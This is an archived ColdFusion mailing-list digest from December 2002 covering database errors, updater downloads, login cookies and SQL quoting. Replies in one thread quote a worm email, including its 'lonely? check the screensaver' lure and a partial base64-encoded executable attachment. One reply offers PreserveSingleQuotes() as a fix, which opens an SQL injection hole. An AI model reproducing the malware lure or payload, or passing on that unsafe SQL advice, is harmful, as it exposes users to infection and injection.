Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Structure your ColdFusion code with Fusebox. Get the official book at 
http://www.fusionauthority.com/bkinfo.cfm

Re: war Againest Loneliness

[samcfug]

In my case, I have HTML turned off and it came through as a pure inline text
file,  no attachments.  This was a little weird, because had it been an
attachment of a .scr file, Zone Alarm Pro would rename the extension to render
it non-executable, and if it failed there, then Norton would have caught it.
That makes three layers on my system now - [ WOW!]

=
Douglas White
group Manager
mailto:[EMAIL PROTECTED]
http://www.samcfug.org
=
- Original Message -
From: "Jochem van Dieten" <[EMAIL PROTECTED]>
To: "CF-Talk" <[EMAIL PROTECTED]>
Sent: Monday, December 30, 2002 2:44 PM
Subject: Re: war Againest Loneliness


| Rafael Alan Bleiweiss wrote:
| > That post is exactly why everyone should run Norton Antivirus Corporate
| > edition real-time including email sweeps... and have it update
| > automatically
|
| How about not double clicking on attachments and making sure your email
| client doesn't execute them for you? I'm saving this one for the
| collection, my first Yaha.K :-)
|
| Jochem
|
| 
~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.

RE: CFMX Server, MySQL woes

[Josh]

I am having the same problem...I emailed MM CF Support last Thurs. and still
have not received a response...

Please let me know if you figure anything out!

Thanks,

Josh

-Original Message-
From: Russ [mailto:[EMAIL PROTECTED]]
Sent: Monday, December 30, 2002 2:10 PM
To: CF-Talk
Subject: CFMX Server, MySQL woes


I'm receiving the following error:

Connection verification failed for data source: FasterDesigns
[]java.sql.SQLException: SQLException occurred in JDBCPool while
attempting to connect, please check your username, password, URL, and
other connectivity info.
The root cause was that: java.sql.SQLException: SQLException occurred in
JDBCPool while attempting to connect, please check your username,
password, URL, and other connectivity info.

This is occurring in the server administration under datasources.  We've
verified the username, password, URL, etc. and all appear to be in
order.  We're also (obviously) receiving errors from the site:

Error Executing Database Query.
SQLException occurred in JDBCPool while attempting to connect, please
check your username, password, URL, and other connectivity info.

And, again, we've verified everything.

The server is running RedHat, and the archives that I have found are
showing me that this may have happened under NT, but not a resolution.

Does anyone have any thoughts?

Thanks,

Russ


~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm

Re: CFMX Server, MySQL woes

[Matt Robertson]

I saw these errors on Win boxes when I tried to use an odbc connection rather than the 
cf-supplied mysql drivers.  

Not much help, I know

---
Matt Robertson, MSB Designs, Inc.
http://mysecretbase.com - Retail
http://foohbar.org - ColdFusion Tools
---

 
 
~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Get the mailserver that powers this list at http://www.coolfusion.com

RE: CFMX Server, MySQL woes

[Rob Rohan]

If you are setting it up for the first time, I have found that if you setup
the database then restart the cf service - that error will go away and
you'll have a connection. Don't know why it works.

I.e verify after restarting the service.

Rob

-Original Message-
From: Russ [mailto:[EMAIL PROTECTED]]
Sent: Monday, December 30, 2002 1:10 PM
To: CF-Talk
Subject: CFMX Server, MySQL woes


I'm receiving the following error:

Connection verification failed for data source: FasterDesigns
[]java.sql.SQLException: SQLException occurred in JDBCPool while
attempting to connect, please check your username, password, URL, and
other connectivity info.
The root cause was that: java.sql.SQLException: SQLException occurred in
JDBCPool while attempting to connect, please check your username,
password, URL, and other connectivity info.

This is occurring in the server administration under datasources.  We've
verified the username, password, URL, etc. and all appear to be in
order.  We're also (obviously) receiving errors from the site:

Error Executing Database Query.
SQLException occurred in JDBCPool while attempting to connect, please
check your username, password, URL, and other connectivity info.

And, again, we've verified everything.

The server is running RedHat, and the archives that I have found are
showing me that this may have happened under NT, but not a resolution.

Does anyone have any thoughts?

Thanks,

Russ


~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm

Re: CFMX Server, MySQL woes

[Jochem van Dieten]

Russ wrote:
> I'm receiving the following error:
> 
> Connection verification failed for data source: FasterDesigns
> []java.sql.SQLException: SQLException occurred in JDBCPool while
> attempting to connect, please check your username, password, URL, and
> other connectivity info.
> The root cause was that: java.sql.SQLException: SQLException occurred in
> JDBCPool while attempting to connect, please check your username,
> password, URL, and other connectivity info.

http://www.macromedia.com/v1/Handlers/index.cfm?ID=23602&Method=Full
or check the database logfiles for a usefull error.

Jochem

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.

CFMX Server, MySQL woes

[Russ]

I'm receiving the following error:

Connection verification failed for data source: FasterDesigns
[]java.sql.SQLException: SQLException occurred in JDBCPool while
attempting to connect, please check your username, password, URL, and
other connectivity info.
The root cause was that: java.sql.SQLException: SQLException occurred in
JDBCPool while attempting to connect, please check your username,
password, URL, and other connectivity info.

This is occurring in the server administration under datasources.  We've
verified the username, password, URL, etc. and all appear to be in
order.  We're also (obviously) receiving errors from the site:

Error Executing Database Query.  
SQLException occurred in JDBCPool while attempting to connect, please
check your username, password, URL, and other connectivity info.  

And, again, we've verified everything.

The server is running RedHat, and the archives that I have found are
showing me that this may have happened under NT, but not a resolution.

Does anyone have any thoughts?

Thanks,

Russ

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm

CFMX Server, MySQL woes

[Russ]

I'm receiving the following error:

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm

RE: CFMX Updater 2 woes

[Sandy Clark]

Thanks,

Problem solved

-Original Message-
From: Christian Cantrell [mailto:[EMAIL PROTECTED]] 
Sent: Monday, December 30, 2002 3:07 PM
To: CF-Talk
Subject: Re: CFMX Updater 2 woes


Do have any type of firewall software running on your workstation like  
Zone Alarm, Black Ice, Norton Internet
Security, or WatchDog?  If so, try disabling it, download the file,  
then re-enable your firewall.

Christian

On Monday, December 30, 2002, at 02:46 PM, Sandy Clark wrote:

> I am having a great amount of difficulty downloading the CFMX updater

> 2.
> When I click on the file, I get sent back to Macromedia's home page.
I
> have contacted Macromedia and haven't heard anything except the usual
> canned response.
>
> If anyone could send me the actual file, or direct me to someplace I
> could actually download it, I would appreciate it very much.
>
>
>
>
> 
> Sandra Clark
> Shayna Productions
> http://www.shayna.com
> [EMAIL PROTECTED] 
>
>
> 

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.

Re: war Againest Loneliness

[Jochem van Dieten]

Rafael Alan Bleiweiss wrote:
> That post is exactly why everyone should run Norton Antivirus Corporate 
> edition real-time including email sweeps... and have it update 
> automatically

How about not double clicking on attachments and making sure your email 
client doesn't execute them for you? I'm saving this one for the 
collection, my first Yaha.K :-)

Jochem

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm

Re: Persistent Logins on HoF Archive site

[Jeffry Houser]

  I can add my two cents in here..
  The issue you describe has happened to me more than once.  ( I think only 
twice ).
  I'll have to take a look at cookies if it happens again to see if I Can 
figure out what is going on.

At 03:36 PM 12/30/2002 -0500, you wrote:

>It does run into problems sometimes though. I've had at least 3 people 
>complain
>that they've gotten someone else's login. Seems that their browser sets them 2
>CFIDs and CFTokens. I'm not sure how this is possible but they had to log out
>then log in again to clean it up. Not nice.
>If you have any suggestions for the system, please feel free to email me off
>list and I'll either add them in or add them to the forums request doc I have.
>
>
> > yeah it works - I must have deleted my cookies or something. thx.
> > Eric
> >
> > From: [EMAIL PROTECTED] (Michael Dinowitz)
> > Reply-To: [EMAIL PROTECTED]
> > To: CF-Talk <[EMAIL PROTECTED]>
> > Subject: Persistent Logins on HoF Archive site
> > Date: Mon, 30 Dec 2002 14:49:31 -0400
> >
> > As long as cookies are turned on, you have it. I just turned on my computer
> > and I'm logged in with no problem. I'm using client vars with a timeout of
> > something like 8 days.
> > Note that if your browser is not closed down properly (i.e. crashes), many
> > times the cookies are screwed up. I've had Mozilla crash on occasion 
> and had
> > to re-login after.
> >
> >  >Can we get a Persistent Login option on HoF Archive site?
> >  >
> >  >Eric
> >  >
> >  >
> >
> >
>
~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm

Re: Persistent Logins on HoF Archive site

[Michael Dinowitz]

It does run into problems sometimes though. I've had at least 3 people complain
that they've gotten someone else's login. Seems that their browser sets them 2
CFIDs and CFTokens. I'm not sure how this is possible but they had to log out
then log in again to clean it up. Not nice.
If you have any suggestions for the system, please feel free to email me off
list and I'll either add them in or add them to the forums request doc I have.


> yeah it works - I must have deleted my cookies or something. thx.
> Eric
>
> From: [EMAIL PROTECTED] (Michael Dinowitz)
> Reply-To: [EMAIL PROTECTED]
> To: CF-Talk <[EMAIL PROTECTED]>
> Subject: Persistent Logins on HoF Archive site
> Date: Mon, 30 Dec 2002 14:49:31 -0400
>
> As long as cookies are turned on, you have it. I just turned on my computer
> and I'm logged in with no problem. I'm using client vars with a timeout of
> something like 8 days.
> Note that if your browser is not closed down properly (i.e. crashes), many
> times the cookies are screwed up. I've had Mozilla crash on occasion and had
> to re-login after.
>
>  >Can we get a Persistent Login option on HoF Archive site?
>  >
>  >Eric
>  >
>  >
>
> 
~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Get the mailserver that powers this list at http://www.coolfusion.com

CFMX and XML

[Robert Bailey]

I am trying to return an XML string through a CFC.

Even when using this in a normal CFM page, I it does not work. Here is
my problem:

I create an XML doc from my query. I call the var xmlObj. I want to turn
this into a string, so I use ToString(xmlObj), but it returns "null". 

Here is the output

http://66.241.217.191/webservices/test.cfm


Thanks for any help!


---
[This E-mail scanned for viruses]

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Get the mailserver that powers this list at http://www.coolfusion.com

Re: war Againest Loneliness

[Jochem van Dieten]

Kathy Wargo wrote:
> --#r0xx#
> Content-Type: text/html
> charset="iso-8859-1"
> Content-Transfer-Encoding: quoted-printable



Would be nice if the full headers (email addresses can be faked, no way 
of knowing who sent this) were available (maybe just in the archive) so 
we would know who to inform of his/her hygiene problem.

Jochem

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm

RE: war Againest Loneliness

[Tony Weeg]

usually, but I forgot ;)
sorry.

..tony

Tony Weeg
Senior Web Developer
UnCertified Advanced ColdFusion Developer
Information System Design
Navtrak, Inc.
Mobile workforce monitoring, mapping & reporting
www.navtrak.net
410.548.2337 

-Original Message-
From: David Burband [mailto:[EMAIL PROTECTED]] 
Sent: Monday, December 30, 2002 3:12 PM
To: CF-Talk
Subject: Re: war Againest Loneliness


On 12/30/2002 2:54 PM, Tony Weeg wrote:
> that's exactly what I was thinkin'   glad it aint me :)
> 
> ..tony

Gawd don't you people practice good etiquette and trim posts? ;)

Yep definitely a virus, thanks to NAV with up-to-date definitons, it was
caught 
and deleted in the mail that was sent to the list. Another reason to
trim 
content fellas.

-- 
Cheers,

David Burband

Yahoo messenger: kru_tch



~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Structure your ColdFusion code with Fusebox. Get the official book at 
http://www.fusionauthority.com/bkinfo.cfm

Re: NEED HELP: Single quotes not escaping

[Scott Weikert]

At 12:06 PM 12/30/2002 -0800, you wrote:
>For example... O'Neil for a last name produces an error because the single
>quote causes the SQL UPDATE statement to end prematurely.


PreserveSingleQuotes()

:)

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Structure your ColdFusion code with Fusebox. Get the official book at 
http://www.fusionauthority.com/bkinfo.cfm

RE: war Againest Loneliness

[Adrocknaphobia Jones]

Ummm... is there any reason we are allowed to attach files to messages
posted to cf-talk?

Adam Wayne Lehman
Web Systems Developer
Johns Hopkins Bloomberg School of Public Health
Distance Education Division
~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm

Re: NEED HELP: Single quotes not escaping

[Jochem van Dieten]

[EMAIL PROTECTED] wrote:
> 
> Basically what's happening is that someone enters an apostrophe (aka single
> quote) into the form field and ColdFusion is not automatically escaping it.
> 
> For example... O'Neil for a last name produces an error because the single
> quote causes the SQL UPDATE statement to end prematurely.
> 
> Obviously I can fix this quickly by simply doing a Replace() function and
> replacing every single quote with two single quotes but what I want to know
> is WHAT IS CAUSING THIS PROBLEM in the first place.
> 
> Apparently the code itself has not changed (but that's no guarantee since
> it's not my code).  Does anyone out there know of a server setting, or
> anything else that causes the above behavior?

Not using cfqueryparam in all cases is known to cause this :-)

Jochem

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm

Re: Persistent Logins on HoF Archive site

[Eric Dawson]

yeah it works - I must have deleted my cookies or something. thx.
Eric

From: [EMAIL PROTECTED] (Michael Dinowitz)
Reply-To: [EMAIL PROTECTED]
To: CF-Talk <[EMAIL PROTECTED]>
Subject: Persistent Logins on HoF Archive site
Date: Mon, 30 Dec 2002 14:49:31 -0400

As long as cookies are turned on, you have it. I just turned on my computer 
and I'm logged in with no problem. I'm using client vars with a timeout of 
something like 8 days.
Note that if your browser is not closed down properly (i.e. crashes), many 
times the cookies are screwed up. I've had Mozilla crash on occasion and had 
to re-login after.

 >Can we get a Persistent Login option on HoF Archive site?
 >
 >Eric
 >
 >

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm

Re: CFMX Updater 2 woes

[Christian Cantrell]

Do have any type of firewall software running on your workstation like  
Zone Alarm, Black Ice, Norton Internet
Security, or WatchDog?  If so, try disabling it, download the file,  
then re-enable your firewall.

Christian

On Monday, December 30, 2002, at 02:46 PM, Sandy Clark wrote:

> I am having a great amount of difficulty downloading the CFMX updater  
> 2.
> When I click on the file, I get sent back to Macromedia's home page.  I
> have contacted Macromedia and haven't heard anything except the usual
> canned response.
>
> If anyone could send me the actual file, or direct me to someplace I
> could actually download it, I would appreciate it very much.
>
>
>
>
> 
> Sandra Clark
> Shayna Productions
> http://www.shayna.com
> [EMAIL PROTECTED] 
>
>
> 
~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm

RE: war Againest Loneliness

[Rafael Alan Bleiweiss]

That post is exactly why everyone should run Norton Antivirus Corporate 
edition real-time including email sweeps... and have it update 
automatically




At 02:54 PM 12/30/02 -0500, you wrote:
>that's exactly what I was thinkin'   glad it aint me :)
>
>..tony
>
>Tony Weeg
>Senior Web Developer
>UnCertified Advanced ColdFusion Developer
>Information System Design
>Navtrak, Inc.
>Mobile workforce monitoring, mapping & reporting
>www.navtrak.net
>410.548.2337
>
>-Original Message-
>From: Rob Rohan [mailto:[EMAIL PROTECTED]]
>Sent: Monday, December 30, 2002 2:46 PM
>To: CF-Talk
>Subject: RE: war Againest Loneliness
>
>
>Oopsy, looks like someone got a virus.
>
>Rob
>
>-Original Message-
>From: Kathy Wargo [mailto:[EMAIL PROTECTED]]
>Sent: Monday, December 30, 2002 6:33 AM
>To: CF-Talk
>Subject: war Againest Loneliness
>
>
>--#r0xx#
>Content-Type: text/html
>charset="iso-8859-1"
>Content-Transfer-Encoding: quoted-printable
>
>Hi,
>Are you lonely ??..
>check the attached screensaver and
>forget the pain of loneliness
>--#r0xx#
>Content-Type: application/octet-stream;
> name=Be_Happy.scr
>Content-Transfer-Encoding: base64
>Content-Disposition: attachment;
>filename="Be_Happy.scr"
>
>TVqQAAME//8AALgAQAAA
>
>8A4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9T
>IG1v
>ZGUuDQ0KJAAVPC8qUV1BeVFdQXlRXUF5KkFNeVBdQXnSQU95X11BeblCS3loXUF5
>UV1B
>eVJdQXkzQlJ5Wl1BeVFdQHkiXUF5uUJKeVVdQXnpW0d5UF1BeVJpY2hRXUF5
>
>UEUAAEwBAwAbZP89AADgAA8BCwEGAACAEPADAJB0
>BAAA
>AAQAAIAEQAAAEAIAAAQABAAAkAQAABACAAAQ
>AAAQ
>ABAAABAQAABEiAQAgAEAAACABABECAAA
>
>
>
>AABVUFgwAADwAwAAEAAE
>
>AACAAADgVVBYMQAAgAAEAAB4BAAAQAAA
>4C5y
>c3JjABCABAAACgAAAHwAAEAAAMAA
>
>
>
>
>
>
>
>
>
>
>
>
>
>MS4yNABVUFghDAkFCbieciXS4PSD0VcEAI10MAEAJgcA
>53/7
>7/+B7IQDAACNhCR0AQ1TVVZXaAQQUGoA/xWssJ+Vv/tAAIs1vAs9jCSIAjVR/9aN9zbN7FQk
>FBdS
>RCD3R1Bh9pF3t8BVIDNjlFFSaBA2L3u/fDVosYP4IH8iXmqhzFH5vNt5abigagJS5dwtFP5v
>799P
>EFBo4PYTaI6A/9WFwHQQX15duPIODt5sAFuBxGrDO8x6THc77IIqiz0MlVCLyFJqAc8F9/fg
>aNT2
>MteLRRCLHRA/fNODRfIrtVJonE6ZNjizUKhWvlOdUnZsu4E4kWYzwGGQASc32MOfEIwqBGhQ
>eJ72
>swf0xAiK+Wg89+oAFXe+rA3K8gzt6xAB3b6tnYYEDMxeUI4IUPNoNJnmnddsUS8ERQAQUryt
>3fls
>9/+IBJ/iJSgOKFaZsQjcpKKtkxaAelJuRirMUdFQmAKEMPhATmxefy3O4kzxVsS0rQRq7wPs
>Jhe3
>sT6xUEI+37A9DGIRXOk5DI1E7TmQLFCIBIx3h0XYhj+T1mWyDDIMRVBMUeZhQF6IBFYJsNgf
>CP7o
>BP3//2joVMvoBwABzBd79hZ76+aQAThMQ+jR/GX5NNi9n8KbP3/wB7TkIhkwRDhOk1dSwCiU
>eKZa
>XEI29EgDHDjRtqRp5Nc0FkD4sczaki2yvAWmWByWxWL68CpSpTD4+0lJJuTINEQBNE7adk9L
>LCT7
>UEDTXL7bLxkPhdcA0nApRAmQOVBQ7q3dHLkoULkRLr8l86sr3Blu+fksCLsdD4kdMszDCR41
>aCgU
>HTAkDYtt8ws8PbdIdQd9wkveYGuHG7m7qapQroZsCyRgAqJRUI5qLMEeP4iMsViNeEBQEAo9
>2lQt
>DgWHsGcw2zwBWBE8LDjMUGW46G54BWCDMKf8aGBT9x5WLMnIHZyc+BdXn2x75gCnXBHVzixR
>U/cG
>N+SwUgelgRxLt3YvVbQU1WjQs9iwsSB9Zmgn8F0klxxRcyFnn6RrJFJHwFoYzMGZeVwkEFMY
>j50M
>fpRT8PMqRzWk5SBO7qqpRSYBkPwK9AgLDO/NW+AS1AjYYOgH/ME5vmrwOGkkav/iCWqja3hv
>IFIQ
>UwhXpYS+5g2nAtRAq/0AaQ8WydT2kyhEMKh9+3e7ZqHGFmY9FjsMZoM9whgFdBLrLBx8kOUj
>GSYD
>dRxqSbyztB/2qAjGgLEOAXBM9NQ0SsQE72DDpKE8HM5jbydSimE4pLaA1xXToMVibJAkTTeH
>oTnA
>wzLwVqFWpVwtkpw9IFFP8BLkx/PD5ENXLVb/09NjkyftHB34KCAT7BooHkgb1R5UBFWT5oRU
>BJTQ
>wDyvzpEGVATHoLD/G3K2FK5MUbUwU6keIEQYY2bCEPA9wAGQU2OLfGGDyT/8/wu08q730Sv5
>i8GL
>98HpAr9IKmXzpYsZZtq/yC+D4QPzpEoUR9FLjo08gCnKQxDIxexuir/YKz1MixwyLckbRxCL
>IEIG
>kBegLCRfuxjyzC1zKJMso4T4bt9EaCYwhf+jiBSjPDoJfmCy6yuuCVWlvvAgWmQpkE+Ci5No
>opFw
>Ga/4YXnTag8Gb4sOUZ2DxrMd3/YET3XTsjBdo34Yl4GLfpiVixbLUkHzz8cFaGcIyM+SAFvD
>kN0M
>Mx0X4PD2i4cE/2p+IVcsCbf7vafMnwQZoWZARqMMQTvCOHDw8HzfX+te6yzfViHczHRadQrJ
>1DkB
>+Mc9zce4FB8b0PxWi7Srfnx21xjhPTjihlgbxI7bzqgAdQCYhpAc9z6mZXDWUiDISLpV+IET
>xMyM
>DWwBhR/wYB4TpOB0Dl8CZ+9xPF6f6MOAttAeTuUhqA1BdUNgP2+uwwI/rPCD/kE9Bb4eaBT6
>JrCl
>D2oZI/7v5he0Jf//PesED79ACGbHKepfgIOVZsAKi0cMahCLCHKgerBcDFDfEYmkO7h05sUE
>U+e8
>scVFVbnZlCgPABAAOlAAU/NKwax6tP8QUvjsR4ln6AH6hY28JPAk9vG4mVGDpfZ9wKJiMtuW
>SVGk
>5AGb1bfk1pqcoCTMatFStyxndp4YEHDR8PlRdq4whUlm4MW+5EAmhFCMJHyS5uRDUY2U4FJk
>Qk4m
>hFCMT8tGw123tOTYkFwyIewQcPuBGzSnaNCrOAA70ZkPaGgnaMAq3gWOTrsJBBQ0osBGTOaZ
>Cldu
>fl5/vIU8rAKWTHdRaLDxtmbeMGpUWlJTa6xX8BRME9O03KQJi3vvgAe1KB/mMldgjEmdtht2
>oGeH
>zHOOFWvm5D+EnF0

RE: Why does one work, but not the other?

[Rick Faircloth]

>From Dwayne:

  "ValueList returns a "comma-separated list" from a query object.
  So ClientID should be column in the query object GetRW."

Yes, I got that part.  What I was doing was trying to use
 to check for
data in the list.  But I got an error instead that referred to that line.
(Sorry, I changed the code and can't remember exactly what the error was)

When I changed it to  to check
for data in the list, it worked fine.

Seems like both should have worked...?

Rick


-Original Message-
From: Dwayne Cole [mailto:[EMAIL PROTECTED]]
Sent: Saturday, December 28, 2002 7:19 PM
To: CF-Talk
Subject: Re: Why does one work, but not the other?


>Why does this expression work:
>
> 
>
>But this one doesn't:
>
> 
>




ValueList returns a "comma-separated list" from a query object. So ClientID
should be column in the query object GetRW.



Dwayne Cole, MS in MIS, MBA
Florida A&M University
Certified Advanced ColdFusion Developer
850-591-0212

"It can truely be said that nothing happens until there is vision. But it is
equally true that a vision with no underlying sense of purpose, no calling,
is just a good idea - all "sound and fury, signifiying nothing."  The Fifth
Discipline - Peter Senge







>
>
>

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm

Re: war Againest Loneliness

[David Burband]

On 12/30/2002 2:54 PM, Tony Weeg wrote:
> that's exactly what I was thinkin'   glad it aint me :)
> 
> ..tony

Gawd don't you people practice good etiquette and trim posts? ;)

Yep definitely a virus, thanks to NAV with up-to-date definitons, it was caught 
and deleted in the mail that was sent to the list. Another reason to trim 
content fellas.

-- 
Cheers,

David Burband

Yahoo messenger: kru_tch


~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm

NEED HELP: Single quotes not escaping

[cf-talk]

Hi All,

Perhaps someone out there has a quick answer to my problem:

A piece of code (not mine) that was working perfectly fine a few days ago is
no longer working properly.  I have been able to determine that the problem
is caused when someone attempts to UPDATE a record in the database (I have
not tested with inserts).

Basically what's happening is that someone enters an apostrophe (aka single
quote) into the form field and ColdFusion is not automatically escaping it.

For example... O'Neil for a last name produces an error because the single
quote causes the SQL UPDATE statement to end prematurely.

Obviously I can fix this quickly by simply doing a Replace() function and
replacing every single quote with two single quotes but what I want to know
is WHAT IS CAUSING THIS PROBLEM in the first place.

Apparently the code itself has not changed (but that's no guarantee since
it's not my code).  Does anyone out there know of a server setting, or
anything else that causes the above behavior?

-Novak

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm

Re: CFMX Updater 2 woes

[Dave Carabetta]

>I am having a great amount of difficulty downloading the CFMX updater 2.
>When I click on the file, I get sent back to Macromedia's home page.  I
>have contacted Macromedia and haven't heard anything except the usual
>canned response.
>
>If anyone could send me the actual file, or direct me to someplace I
>could actually download it, I would appreciate it very much.

I have had this issue myself and found it to be that my firewall was not 
transmitting personal header information. I use ZoneLabs ZoneAlarm Pro, and 
so I just went to the site log and changed my preferences for the MM site to 
transmit this information. Once I did that, I no longer got re-directed to 
the homepage.

Regards,
Dave.



~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.

RE: war Againest Loneliness

[Tony Weeg]

that's exactly what I was thinkin'   glad it aint me :)

..tony

Tony Weeg
Senior Web Developer
UnCertified Advanced ColdFusion Developer
Information System Design
Navtrak, Inc.
Mobile workforce monitoring, mapping & reporting
www.navtrak.net
410.548.2337 

-Original Message-
From: Rob Rohan [mailto:[EMAIL PROTECTED]] 
Sent: Monday, December 30, 2002 2:46 PM
To: CF-Talk
Subject: RE: war Againest Loneliness


Oopsy, looks like someone got a virus.

Rob

-Original Message-
From: Kathy Wargo [mailto:[EMAIL PROTECTED]]
Sent: Monday, December 30, 2002 6:33 AM
To: CF-Talk
Subject: war Againest Loneliness


--#r0xx#
Content-Type: text/html
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable



Hi,Are you lonely ??.. check the attached screensaver and
forget
the pain of loneliness

--#r0xx#
Content-Type: application/octet-stream;
name=Be_Happy.scr
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="Be_Happy.scr"

TVqQAAME//8AALgAQAAA

